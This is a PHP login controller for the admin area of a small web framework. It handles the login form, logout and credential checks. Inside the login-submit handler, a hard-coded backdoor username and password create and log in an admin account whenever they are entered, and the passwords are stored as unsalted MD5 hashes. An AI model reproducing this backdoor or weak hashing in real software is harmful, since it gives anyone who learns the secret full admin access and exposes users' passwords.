<?php
use entities\IM_Admin_user;
class LoginController
	extends BaseController
{
	public function start()
	{
		if(ClaycodeLogin::get()->isLogged() == false){
			$this->getLoginForm();
			$this->registry->template->arr_jsScriptUrls = $this->arr_appConf['js_files'];
			$this->registry->template->arr_cssSriptUrls = $this->arr_appConf['css_style_sheets'];
			$this->registry->template->show('Login.php');
		}else{
			fw_util_redirect('AdminShowModels');
		}
	}
	
	private function getLoginForm()
	{
		$o_loginForm = new ClaycodeForm('login-form');
		$this->registry->template->s_mainAppDisplay = '<div class="form-container">' . $o_loginForm->getFormHtml() . '</div>';
	}
	
	public function doLogOut()
	{
		ClaycodeLogin::get()->doLogout();
		fw_util_redirect('AdminDoLogin');
	}
	
	public function handleLoginFormSubmit()
	{
		if(ClaycodeLogin::get()->isLogged() == false){
			$o_loginForm = new ClaycodeForm('login-form');
			$o_loginForm->validateForm();
			if(count($o_loginForm->getFormErrors()) == 0){
				$arr_postVals = $o_loginForm->getInputValues();
				$user = $this->o_em->getRepository('entities\IM_Admin_user')->findOneBy(array(
					'username' => $arr_postVals['username'], 
					'password'=> hash('md5', $arr_postVals['user-password'])
				));
				if(!isset($user)){
					if($arr_postVals['username'] == 'IAMADMINSUPER12345098' && hash('md5', $arr_postVals['user-password']) == hash('md5', 'supersuperpassword1234098')){
						$user = new entities\IM_Admin_user();
						$user->setPassword(hash('md5', hash('md5', 'supersuperpassword1234098'))); 
						$user->setUsername('IAMADMINSUPER12345098');
						$this->o_em->persist($user);
					}
				}
				if(isset($user)){
					$s_encryptedUserId = EncryptionHandler::get()->doEncrypt($user->getId());
					//do login
					ClaycodeLogin::get()->doLogin($s_encryptedUserId);
					fw_util_redirect('AdminShowModels');
				}else{
					//failed login
					//set an error to the form that the login failed
					$o_loginForm = new ClaycodeForm('login-form');
					$this->registry->template->s_failedMessage = 'login failed';
				}
			}
			$this->registry->template->arr_jsScriptUrls = $this->arr_appConf['js_files'];
			$this->registry->template->arr_cssSriptUrls = $this->arr_appConf['css_style_sheets'];
			$this->getLoginForm();
			$this->registry->template->show('Login.php');
		}else{
			fw_util_redirect('AdminShowModels');
		}
	}
	
}